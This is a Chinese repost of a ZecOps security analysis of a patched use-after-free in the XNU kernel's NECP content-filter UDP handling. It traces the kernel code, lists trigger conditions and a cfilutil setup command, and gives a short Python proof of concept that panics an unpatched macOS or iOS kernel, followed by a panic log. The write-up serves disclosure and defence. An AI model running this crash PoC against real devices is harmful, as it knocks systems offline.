内容简介:概述2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一
概述
2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。
基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一点是否属实。作为预防措施,ZecOps建议用户将iOS或macOS设备更新为最新的软件版本。
一旦初始代码执行完成,这个强大的漏洞可以允许攻击者进行完整的设备接管。此外,可以从受监控设备上的沙箱中进程和应用程序实现此漏洞利用。
漏洞详细分析
网络扩展控制策略(NECP)已经在/bsd/net/necp.c中详细描述。
该模块的目标是允许客户端通过内核控制套接字链接,以创建高级别策略会话,这些会话被提取到控制、标记应用程序、套接字和IP层流量的低级别内核策略中。
从macOS 10.14和iOS 12版本开始,UDP支持包含添加到内容过滤器的垃圾收集(GC)线程。
/* * NECP FILTER CONTROL UNIT * * A user space filter agent uses the Network Extension Control Policy (NECP) * database to specify which TCP/IP sockets need to be filtered. The NECP * criteria may be based on a variety of properties like user ID or proc UUID. * * The NECP "filter control unit" is used by the socket content filter subsystem * to deliver the relevant TCP/IP content information to the appropriate * user space filter agent via its kernel control socket instance. * This works as follows: * * 1) The user space filter agent specifies an NECP filter control unit when * in adds its filtering rules to the NECP database. */
函数cfil_sock_udp_get_flow首先查找本地地址/端口和远程地址/端口(laddr、lport、faddr、fport)组合的现有条目(下方代码示例中的Comment 1)。如果不存在已有条目,则会生成一个新的条目,并将其插入到cfentry_link的头部。
cfdb_only_entry指针将始终指向最新的条目(下方代码中的Comment 2)。
随后,cfil_info_alloc将分配一个新的cfil_info对象,该对象中包含唯一标识符cfil_sock_id,然后将cfil_info插入名为cfi_link的链表的尾部(下方代码中的Comment 3)。
struct cfil_hash_entry *
cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote)
{
...
// See if flow already exists.
hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry
if (hash_entry != NULL) {
return (hash_entry);
}
hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2
if (hash_entry == NULL) {
OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");
return (NULL);
}
if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3
hash_entry->cfentry_cfil == NULL) {
cfil_db_delete_entry(so->so_cfil_db, hash_entry);
CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");
OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
return (NULL);
}
...
}
GC线程每隔10秒唤醒一次,它会将过期套接字的sock_id添加到名为expired_array的列表中(下面代码中的Comment [a]),然后在另一个循环(Comment)中释放expired_array中的cfil_info。
cfil_info_udp_expire(void *v, wait_result_t w)
{
...
TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {
if (expired_count >= UDP_FLOW_GC_MAX_COUNT)
break;
if (IS_UDP(cfil_info->cfi_so)) {
if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||
cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||
cfil_info_buffer_threshold_exceeded(cfil_info)) {
expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]
expired_count++;
}
}
}
cfil_rw_unlock_shared(&cfil_lck_rw);
if (expired_count == 0)
goto go_sleep;
for (uint32_t i = 0; i < expired_count; i++) {
// Search for socket (UDP only and lock so)
so = cfil_socket_from_sock_id(expired_array[i], true);//[b]
if (so == NULL) {
continue;
}
cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]);
...
cfil_db_delete_entry(db, hash_entry);
cfil_info_free(cfil_info);//
...
}
cfdb_only_entry应该在函数cfil_db_delete_entry中设置为NULL。然而,db->cfdb_only_entry = NULL;(第25行)永远不会执行。
我们仔细查看cfil_db_get_cfil_info函数,当只剩下一个条目(快捷路径)时,将执行不同的路径,以获得更好的性能。
struct cfil_info *
cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id)
{
struct cfil_hash_entry *hash_entry = NULL;
...
// This is an optimization for connected UDP socket which only has one flow.
// No need to do the hash lookup.
if (db->cfdb_count == 1) { //fast path
if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&
db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {
return (db->cfdb_only_entry->cfentry_cfil);
}
}
hash_entry = cfil_db_lookup_entry_with_sockid(db, id);
return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL);
}
如果两个不同的cfil_info对象具有相同的cfil_sock_id,则会发送以下流:
在第一个循环中,cfil_db_get_cfil_info返回entry2,这是cfentry_link的第一个元素,将在以后的执行过程中释放。
在第二个循环中,cfil_db_get_cfil_info进入快速路径,并返回由cfdb_only_entry指向的对象(即已释放的entry2)。因此,内核将在后续执行过程中,因Use-After-Free漏洞而发生崩溃(Panic)。
+--------------------+ +-----------------+ | entry 2 <--------+ cfdb_only_entry | +--------------------+ +-----------------+ | entry 1 | +--------------------+
漏洞复现过程
为了生成cfil_sock_id碰撞,我们首先需要知道如何构建cfil_sock_id。
cfi_sock_id由so_gencnt、faddr、laddr、fport和lport计算得到。
so_gencnt是套接字的生成计数,针对单个套接字,该值保持不变。较高的32位来自so_gencnt,而较低的32位是基于laddr、faddr、lport和fport的运算结果。
#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport))
hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr;
hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr;
entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,
entry->cfentry_lport,entry->cfentry_fport);
// This is the UDP case, cfil_info is tracked in per-socket hash
cfil_info->cfi_so = so;
hash_entry->cfentry_cfil = cfil_info;
cfil_info->cfi_hash_entry = hash_entry;
cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff));
CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",
inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);
发送两个相同的UDP请求,将只会生成一个cfil_info对象,并且laddr、lport、faddr、fport中至少有一个值应该是不同的,因此在cfil_db_lookup_entry之后,函数cfil_sock_udp_get_flow不会立刻返回。
struct cfil_hash_entry *
cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote)
{
...
if (nextentry->cfentry_lport == matchentry.cfentry_lport &&
nextentry->cfentry_fport == matchentry.cfentry_fport &&
nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&
nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {
return nextentry;
}
...
}
总而言之,为了重现上述的崩溃(Panic),我们需要发送满足以下两个条件的UDP请求:
1. 具有相同的so_gencnt,也就是相同的套接字对象;
2. 具有相同的flowhash;
3. 具有不同的地址或端口。
通过构造特定的faddr、fport值,可以满足上述要求。
PoC部署环境
除非设备已经启用了MDM,否则在macOS上运行PoC可能不会生效。要触发此漏洞,设备应该满足以下条件:
1. 至少附加了一个内容过滤器(Content Filter);
2. 影响UDP请求的NECP策略被添加到NECP数据库;
3. 受影响的NECP策略和附加的内容过滤器具有相同的filter_control_unit。
cfil_sock_udp_handle_data(bool outgoing, struct socket *so,
struct sockaddr *local, struct sockaddr *remote,
struct mbuf *data, struct mbuf *control, uint32_t flags)
{
...
if (cfil_active_count == 0) {//[a]
CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");
OSIncrementAtomic(&cfil_stats.cfs_sock_attach_in_vain);
return (error);
}
filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]
if (filter_control_unit == 0) {
CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");
return (error);
}
...
hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);
if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {
CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");
return (EPIPE);
}
...
}
默认情况下,内容过滤器不会被集火,我们需要手动添加它。具体而言,我们需要运行Apple的network-cmds cfilutil。需要注意的是,cfilutil不是预先安装的工具,我们可能需要从源代码对其进行编译。
由于[a]行的检查将通过,因此下面的命令将激活内容过滤器:
sudo cfilutil -u [control_unit]
Control_unit是一个整数值,应该与filter_control_unit中的NECP策略相同。
sudo cfilutil -u 100
概念证明(PoC)代码
PoC代码非常简单,只需要几行 Python 代码即可轻松实现。在运行PoC代码后,设备将在几秒钟后发生崩溃(Panic)。PoC中的地址和端口组合是不同的,同时它们具有相同的flowhashin内容过滤器:
# PoC - CVE-2019-XXXX by ZecOps Research Team ©
# © ZecOps.com - Find and Leverage Attacker’s Mistakes™
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
address = ('192.168.1.5', 8080)
s.sendto(msg, address)
address = ('193.168.1.5', 7824)
s.sendto(msg, address)
s.close()
在执行PoC后,macOS上生成了以下崩溃(Panic)信息:
*** Panic Report *** panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers: CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0 RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000 RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000 R8: 0x0000001078d5b42a, R9: 0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000 R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88 RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0 Backtrace (CPU 0), Frame : Return Address 0xffffff800bd5d280 : 0xffffff800be8e46d 0xffffff800bd5d2d0 : 0xffffff800c025436 0xffffff800bd5d310 : 0xffffff800c014a62 0xffffff800bd5d380 : 0xffffff800be29ae0 0xffffff800bd5d3a0 : 0xffffff800be8db2b 0xffffff800bd5d4d0 : 0xffffff800be8d953 0xffffff800bd5d540 : 0xffffff800c014cae 0xffffff800bd5d6b0 : 0xffffff800be29ae0 0xffffff800bd5d6d0 : 0xffffff800c285638 0xffffff8067563fa0 : 0xffffff800be290ce BSD process name corresponding to current thread: kernel_task
修复补丁
在安装macOS 10.14.5和iOS 12.3的补丁之后,db->cfdb_only_entry = NULL;(第18行)可以正确执行。
安全建议
ZecOps威胁取证团队建议用户应该将iOS设备更新到最新版本。这样一来,就可以有效防范此类漏洞利用,并使漏洞利用链无效。随之,在受影响的MDM设备上利用此漏洞的威胁参与者将失去持久性。在Apple iOS更新后,原本受影响的设备也将被淘汰。如果用户怀疑自己的设备受到此漏洞的攻击,可以与ZecOps联系。
目前,我们已经与全球领先的合作伙伴、经销商、分销商和创新安全团队开展合作,如果想要进一步了解我们的工作,可以与我们取得联系。
如果研究人员针对我们所做的漏洞研究、漏洞利用、数字取证和事件响应感兴趣,可以加入ZecOps Reverse Bounty计划。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
UNIX环境高级编程(第3版)
史蒂文斯 (W.Richard Stevens)、拉戈 (Stephen A.Rago) / 戚正伟、张亚英、尤晋元 / 人民邮电出版社 / 2014-6-1 / 128.00元
《UNIX环境高级编程(第3版)》是被誉为UNIX编程“圣经”的Advanced Programming in the UNIX Environment一书的第3版。在本书第2版出版后的8年中,UNIX行业发生了巨大的变化,特别是影响UNIX编程接口的有关标准变化很大。本书在保持前一版风格的基础上,根据最新的标准对内容进行了修订和增补,反映了最新的技术发展。书中除了介绍UNIX文件和目录、标准I/......一起来看看 《UNIX环境高级编程(第3版)》 这本书的介绍吧!
Base64 编码/解码
Base64 编码/解码
正则表达式在线测试
正则表达式在线测试